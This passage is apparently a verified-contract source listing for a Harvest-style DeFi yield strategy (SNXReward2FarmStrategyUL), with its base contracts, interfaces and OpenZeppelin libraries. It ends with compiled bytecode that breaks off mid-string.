contracts. * * It is important to note that not all SNX reward contracts that are accessible via the same interface are * suitable for this Strategy. One concrete example is CREAM.finance, as it implements a "Lock" feature and * would not allow the user to withdraw within some timeframe after the user have deposited. * This would be problematic to user as our "invest" function in the vault could be invoked by anyone anytime * and thus locking/reverting on subsequent withdrawals. Another variation is the YFI Governance: it can * activate a vote lock to stop withdrawal. * * Ref: * 1. CREAM https://etherscan.io/address/0xc29e89845fa794aa0a0b8823de23b760c3d766f5#code * 2. YAM https://etherscan.io/address/0x8538E5910c6F80419CD3170c26073Ff238048c9E#code * 3. SHRIMP https://etherscan.io/address/0x9f83883FD3cadB7d2A83a1De51F9Bf483438122e#code * 4. BASED https://etherscan.io/address/0x5BB622ba7b2F09BF23F1a9b509cd210A818c53d7#code * 5. YFII https://etherscan.io/address/0xb81D3cB2708530ea990a287142b82D058725C092#code * 6. YFIGovernance https://etherscan.io/address/0xBa37B002AbaFDd8E89a1995dA52740bbC013D992#code * * * * Respecting the current system design of choosing the best strategy under the vault, and also rewarding/funding * the public key that invokes the switch of strategies, this smart contract should be deployed twice and linked * to the same vault. When the governance want to rotate the crop, they would set the reward source on the strategy * that is not active, then set that apy higher and this one lower. * * Consequently, in the smart contract we restrict that we can only set a new reward source when it is not active. * */ contract SNXReward2FarmStrategyUL is StrategyBaseUL { using SafeMath for uint256; using SafeERC20 for IERC20; address public farm; address public distributionPool; address public distributionSwitcher; address public rewardToken; bool public pausedInvesting = false; // When this flag is true, the strategy will not be able to invest. But users should be able to withdraw. SNXRewardInterface public rewardPool; // a flag for disabling selling for simplified emergency exit bool public sell = true; uint256 public sellFloor = 1e6; // Instead of trying to pass in the detailed liquidation path and different dexes to the liquidator, // we just pass in the input output of the liquidation path: // [ MIC, WETH, FARM ] , [SUSHI, UNI] // // This means that: // the first dex is sushi, the input is MIC and output is WETH. // the second dex is uni, the input is WETH and the output is FARM. // the universal liquidator itself would record the best path to liquidate from MIC to WETH on Sushiswap // provides the path for liquidating a token address [] public liquidationPath; // specifies which DEX is the token liquidated on bytes32 [] public liquidationDexes; event ProfitsNotCollected(); // This is only used in `investAllUnderlying()` // The user can still freely withdraw from the strategy modifier onlyNotPausedInvesting() { require(!pausedInvesting, "Action blocked as the strategy is in emergency state"); _; } constructor( address _storage, address _underlying, address _vault, address _rewardPool, address _rewardToken, address _universalLiquidatorRegistry, address _farm, address _distributionPool ) StrategyBaseUL(_storage, _underlying, _vault, _farm, _universalLiquidatorRegistry) public { require(_vault == INoMintRewardPool(_distributionPool).lpToken(), "distribution pool's lp must be the vault"); require( (_farm == INoMintRewardPool(_distributionPool).rewardToken()) || (_farm == IVault(INoMintRewardPool(_distributionPool).rewardToken()).underlying()), "distribution pool's reward must be FARM or iFARM"); farm = _farm; distributionPool = _distributionPool; rewardToken = _rewardToken; rewardPool = SNXRewardInterface(_rewardPool); } function depositArbCheck() public view returns(bool) { return true; } /* * In case there are some issues discovered about the pool or underlying asset * Governance can exit the pool properly * The function is only used for emergency to exit the pool */ function emergencyExit() public onlyGovernance { rewardPool.exit(); pausedInvesting = true; } /* * Resumes the ability to invest into the underlying reward pools */ function continueInvesting() public onlyGovernance { pausedInvesting = false; } function setLiquidationPaths(address [] memory _liquidationPath, bytes32[] memory _dexes) public onlyGovernance { liquidationPath = _liquidationPath; liquidationDexes = _dexes; } function _liquidateReward() internal { uint256 rewardBalance = IERC20(rewardToken).balanceOf(address(this)); if (!sell || rewardBalance < sellFloor) { // Profits can be disabled for possible simplified and rapid exit emit ProfitsNotCollected(); return; } // sell reward token to FARM // we can accept 1 as minimum because this is called only by a trusted role address uliquidator = universalLiquidator(); IERC20(rewardToken).safeApprove(uliquidator, 0); IERC20(rewardToken).safeApprove(uliquidator, rewardBalance); ILiquidator(uliquidator).swapTokenOnMultipleDEXes( rewardBalance, 1, address(this), // target liquidationDexes, liquidationPath ); uint256 farmAmount = IERC20(farm).balanceOf(address(this)); // Share profit + buyback notifyProfitAndBuybackInRewardToken(farmAmount, distributionPool); } /* * Stakes everything the strategy holds into the reward pool */ function investAllUnderlying() internal onlyNotPausedInvesting { // this check is needed, because most of the SNX reward pools will revert if // you try to stake(0). if(IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).approve(address(rewardPool), IERC20(underlying).balanceOf(address(this))); rewardPool.stake(IERC20(underlying).balanceOf(address(this))); } } /* * Withdraws all the asset to the vault */ function withdrawAllToVault() public restricted { if (address(rewardPool) != address(0)) { if (rewardPool.balanceOf(address(this)) > 0) { rewardPool.exit(); } } _liquidateReward(); if (IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this))); } } /* * Withdraws all the asset to the vault */ function withdrawToVault(uint256 amount) public restricted { // Typically there wouldn't be any amount here // however, it is possible because of the emergencyExit if(amount > IERC20(underlying).balanceOf(address(this))){ // While we have the check above, we still using SafeMath below // for the peace of mind (in case something gets changed in between) uint256 needToWithdraw = amount.sub(IERC20(underlying).balanceOf(address(this))); rewardPool.withdraw(Math.min(rewardPool.balanceOf(address(this)), needToWithdraw)); } IERC20(underlying).safeTransfer(vault, amount); } /* * Note that we currently do not have a mechanism here to include the * amount of reward that is accrued. */ function investedUnderlyingBalance() external view returns (uint256) { if (address(rewardPool) == address(0)) { return IERC20(underlying).balanceOf(address(this)); } // Adding the amount locked in the reward pool and the amount that is somehow in this contract // both are in the units of "underlying" // The second part is needed because there is the emergency exit mechanism // which would break the assumption that all the funds are always inside of the reward pool return rewardPool.balanceOf(address(this)).add(IERC20(underlying).balanceOf(address(this))); } /* * Governance or Controller can claim coins that are somehow transferred into the contract * Note that they cannot come in take away coins that are used and defined in the strategy itself * Those are protected by the "unsalvagableTokens". To check, see where those are being flagged. */ function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance { // To make sure that governance cannot come in and take away the coins require(!unsalvagableTokens[token], "token is defined as not salvagable"); IERC20(token).safeTransfer(recipient, amount); } /* * Get the reward, sell it in exchange for underlying, invest what you got. * It's not much, but it's honest work. * * Note that although `onlyNotPausedInvesting` is not added here, * calling `investAllUnderlying()` affectively blocks the usage of `doHardWork` * when the investing is being paused by governance. */ function doHardWork() external onlyNotPausedInvesting restricted { rewardPool.getReward(); _liquidateReward(); investAllUnderlying(); } /** * Can completely disable claiming UNI rewards and selling. Good for emergency withdraw in the * simplest possible way. */ function setSell(bool s) public onlyGovernance { sell = s; } /** * Sets the minimum amount of CRV needed to trigger a sale. */ function setSellFloor(uint256 floor) public onlyGovernance { sellFloor = floor; } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //SPDX-License-Identifier: Unlicense pragma solidity 0.5.16; import "./inheritance/RewardTokenProfitNotifier.sol"; import "./interface/IStrategy.sol"; import "./interface/ILiquidator.sol"; import "./interface/ILiquidatorRegistry.sol"; contract StrategyBaseUL is IStrategy, RewardTokenProfitNotifier { using SafeMath for uint256; using SafeERC20 for IERC20; event ProfitsNotCollected(address); event Liquidating(address, uint256); address public underlying; address public vault; mapping (address => bool) public unsalvagableTokens; address public universalLiquidatorRegistry; modifier restricted() { require(msg.sender == vault || msg.sender == address(controller()) || msg.sender == address(governance()), "The sender has to be the controller or vault or governance"); _; } constructor( address _storage, address _underlying, address _vault, address _rewardToken, address _universalLiquidatorRegistry ) RewardTokenProfitNotifier(_storage, _rewardToken) public { underlying = _underlying; vault = _vault; unsalvagableTokens[_rewardToken] = true; unsalvagableTokens[_underlying] = true; universalLiquidatorRegistry = _universalLiquidatorRegistry; } function universalLiquidator() public view returns(address) { return ILiquidatorRegistry(universalLiquidatorRegistry).universalLiquidator(); } } pragma solidity 0.5.16; interface IVault { function initializeVault( address _storage, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) external ; function balanceOf(address) external view returns (uint256); function underlyingBalanceInVault() external view returns (uint256); function underlyingBalanceWithInvestment() external view returns (uint256); // function store() external view returns (address); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function strategy() external view returns (address); function setStrategy(address _strategy) external; function announceStrategyUpdate(address _strategy) external; function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external; function deposit(uint256 amountWei) external; function depositFor(uint256 amountWei, address holder) external; function withdrawAll() external; function withdraw(uint256 numberOfShares) external; function getPricePerFullShare() external view returns (uint256); function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256); // hard work should be callable only by the controller (by the hard worker) or by governance function doHardWork() external; } pragma solidity 0.5.16; contract IRewardDistributionSwitcher { function switchingAllowed(address) external returns(bool); function returnOwnership(address poolAddr) external; function enableSwitchers(address[] calldata switchers) external; function setSwithcer(address switcher, bool allowed) external; function setPoolRewardDistribution(address poolAddr, address newRewardDistributor) external; } pragma solidity 0.5.16; interface INoMintRewardPool { function withdraw(uint) external; function getReward() external; function stake(uint) external; function balanceOf(address) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function rewardDistribution() external view returns (address); function lpToken() external view returns(address); function rewardToken() external view returns(address); // only owner function setRewardDistribution(address _rewardDistributor) external; function transferOwnership(address _owner) external; function notifyRewardAmount(uint256 _reward) external; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interface/IController.sol"; import "../interface/IFeeRewardForwarderV5.sol"; import "./Controllable.sol"; contract RewardTokenProfitNotifier is Controllable { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public profitSharingNumerator; uint256 public profitSharingDenominator; address public rewardToken; constructor( address _storage, address _rewardToken ) public Controllable(_storage){ rewardToken = _rewardToken; // persist in the state for immutability of the fee profitSharingNumerator = 30; //IController(controller()).profitSharingNumerator(); profitSharingDenominator = 100; //IController(controller()).profitSharingDenominator(); require(profitSharingNumerator < profitSharingDenominator, "invalid profit share"); } event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); event ProfitAndBuybackLog(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); function notifyProfitInRewardToken(uint256 _rewardBalance) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator).div(profitSharingDenominator); emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken).safeApprove(controller(), 0); IERC20(rewardToken).safeApprove(controller(), feeAmount); IController(controller()).notifyFee( rewardToken, feeAmount ); } else { emit ProfitLogInReward(0, 0, block.timestamp); } } function notifyProfitAndBuybackInRewardToken(uint256 _rewardBalance, address pool) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator).div(profitSharingDenominator); address forwarder = IController(controller()).feeRewardForwarder(); emit ProfitAndBuybackLog(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken).safeApprove(forwarder, 0); IERC20(rewardToken).safeApprove(forwarder, _rewardBalance); IFeeRewardForwarderV5(forwarder).notifyFeeAndBuybackAmounts( feeAmount, pool, _rewardBalance.sub(feeAmount) ); } else { emit ProfitAndBuybackLog(0, 0, block.timestamp); } } } pragma solidity 0.5.16; interface IStrategy { function unsalvagableTokens(address tokens) external view returns (bool); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function vault() external view returns (address); function withdrawAllToVault() external; function withdrawToVault(uint256 amount) external; function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch() // should only be called by controller function salvage(address recipient, address token, uint256 amount) external; function doHardWork() external; function depositArbCheck() external view returns(bool); } // SPDX-License-Identifier: MIT pragma solidity 0.5.16; interface ILiquidator { event Swap( address indexed buyToken, address indexed sellToken, address indexed target, address initiator, uint256 amountIn, uint256 slippage, uint256 total ); function swapTokenOnMultipleDEXes( uint256 amountIn, uint256 amountOutMin, address target, bytes32[] calldata dexes, address[] calldata path ) external; function swapTokenOnDEX( uint256 amountIn, uint256 amountOutMin, address target, bytes32 dexName, address[] calldata path ) external; function getAllDexes() external view returns (bytes32[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.5.16; interface ILiquidatorRegistry { function universalLiquidator() external view returns(address); function setUniversalLiquidator(address _ul) external; function getPath( bytes32 dex, address inputToken, address outputToken ) external view returns(address[] memory); function setPath( bytes32 dex, address inputToken, address outputToken, address[] calldata path ) external; } pragma solidity 0.5.16; interface IController { // [Grey list] // An EOA can safely interact with the system no matter what. // If you're using Metamask, you're using an EOA. // Only smart contracts may be affected by this grey list. // // This contract will not be able to ban any EOA from the system // even if an EOA is being added to the greyList, he/she will still be able // to interact with the whole system as if nothing happened. // Only smart contracts will be affected by being added to the greyList. // This grey list is only used in Vault.sol, see the code there for reference function greyList(address _target) external view returns(bool); function addVaultAndStrategy(address _vault, address _strategy) external; function doHardWork(address _vault) external; function hasVault(address _vault) external returns(bool); function salvage(address _token, uint256 amount) external; function salvageStrategy(address _strategy, address _token, uint256 amount) external; function notifyFee(address _underlying, uint256 fee) external; function profitSharingNumerator() external view returns (uint256); function profitSharingDenominator() external view returns (uint256); function feeRewardForwarder() external view returns(address); function setFeeRewardForwarder(address _value) external; } pragma solidity 0.5.16; interface IFeeRewardForwarderV5 { function poolNotifyFixedTarget(address _token, uint256 _amount) external; function notifyFeeAndBuybackAmounts(uint256 _feeAmount, address _pool, uint256 _buybackAmount) external; function profitSharingPool() external view returns (address); } pragma solidity 0.5.16; import "./Governable.sol"; contract Controllable is Governable { constructor(address _storage) Governable(_storage) public { } modifier onlyController() { require(store.isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((store.isController(msg.sender) || store.isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return store.controller(); } } pragma solidity 0.5.16; import "./Storage.sol"; contract Governable { Storage public store; constructor(address _store) public { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } modifier onlyGovernance() { require(store.isGovernance(msg.sender), "Not governance"); _; } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } function governance() public view returns (address) { return store.governance(); } } pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } }
0x608060405234801561001057600080fd5b50600436106102325760003560e01c8063a1dab23e11610130578063d3df8aa4116100b8578063e83189311161007c578063e831893114610458578063f77c47911461057f578063f7c618c114610587578063fbfa77cf1461058f578063fd8e72f61461059757610232565b8063d3df8aa41461041b578063d758259914610423578063da12bf5e14610440578063db14104214610448578063db6204851461045057610232565b8063bfd131f1116100ff578063bfd131f1146103de578063c2a2a07b146103e6578063c5ca7d6d146103ee578063c896782d146103f6578063ce8c42e8146103fe57610232565b8063a1dab23e14610392578063b076a53a1461039a578063b60f151a146103b9578063ba09591e146103c157610232565b806345d01e4a116101be57806366666aa91161018257806366666aa91461034c5780636f307dc3146103545780639137c1a71461035c578063975057e7146103825780639df77c431461038a57610232565b806345d01e4a146103065780634fa5d8541461030e57806350185946146103165780635641ec031461033c5780635aa6e6751461034457610232565b80632a2957b2116102055780632a2957b2146102b557806336e9332d146102d25780633abc0979146102da5780633fc8cef3146102e257806345710074146102ea57610232565b8063026a0dd01461023757806306974e8d146102515780630d1ae151146102755780631113ef521461027d575b600080fd5b61023f61059f565b60408051918252519081900360200190f35b6102596105a5565b604080516001600160a01b039092168252519081900360200190f35b61025961061c565b6102b36004803603606081101561029357600080fd5b506001600160a01b0381358116916020810135909116906040013561062b565b005b610259600480360360208110156102cb57600080fd5b50356107d2565b6102596107f9565b610259610811565b610259610829565b6102f2610838565b604080519115158252519081900360200190f35b61023f610848565b6102b36109de565b6102f26004803603602081101561032c57600080fd5b50356001600160a01b0316610b30565b6102b3610b45565b610259610c7b565b610259610cca565b610259610cd9565b6102b36004803603602081101561037257600080fd5b50356001600160a01b0316610ce8565b610259610e1e565b610259610e2d565b61023f610e3c565b6102b3600480360360208110156103b057600080fd5b50351515610e42565b61023f610f19565b6102b3600480360360208110156103d757600080fd5b5035610f1f565b6102b3610fdd565b6102f2611287565b61025961128c565b61025961129b565b6102b36004803603602081101561041457600080fd5b50356112aa565b6102f2611544565b61023f6004803603602081101561043957600080fd5b5035611554565b610259611572565b610259611581565b6102b3611590565b6102b36004803603604081101561046e57600080fd5b81019060208101813564010000000081111561048957600080fd5b82018360208201111561049b57600080fd5b803590602001918460208302840111640100000000831117156104bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561050d57600080fd5b82018360208201111561051f57600080fd5b8035906020019184602083028401116401000000008311171561054157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611658945050505050565b610259611738565b610259611787565b610259611796565b6102596117a5565b60025481565b600754604080516306974e8d60e01b815290516000926001600160a01b0316916306974e8d916004808301926020929190829003018186803b1580156105ea57600080fd5b505afa1580156105fe573d6000803e3d6000fd5b505050506040513d602081101561061457600080fd5b505190505b90565b6013546001600160a01b031681565b6000546040805163b429afeb60e01b815233600482015290516001600160a01b039092169163b429afeb91602480820192602092909190829003018186803b15801561067657600080fd5b505afa15801561068a573d6000803e3d6000fd5b505050506040513d60208110156106a057600080fd5b5051806107205750600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d602081101561071d57600080fd5b50515b61075b5760405162461bcd60e51b815260040180806020018281038252602b8152602001806125a1602b913960400191505060405180910390fd5b6001600160a01b03821660009081526006602052604090205460ff16156107b35760405162461bcd60e51b81526004018080602001828103825260228152602001806125cc6022913960400191505060405180910390fd5b6107cd6001600160a01b038316848363ffffffff6117b416565b505050565b600e81815481106107df57fe5b6000918252602090912001546001600160a01b0316905081565b73a0246c9032bc3a600820415ae600c6388619a14d81565b737882172921e99d590e097cd600554339fbdbc48081565b6014546001600160a01b031681565b600c54600160a01b900460ff1681565b600c546000906001600160a01b03166108da5760048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d60208110156108d157600080fd5b50519050610619565b60048054604080516370a0823160e01b81523093810193909352516109d9926001600160a01b03909216916370a08231916024808301926020929190829003018186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d602081101561095457600080fd5b5051600c54604080516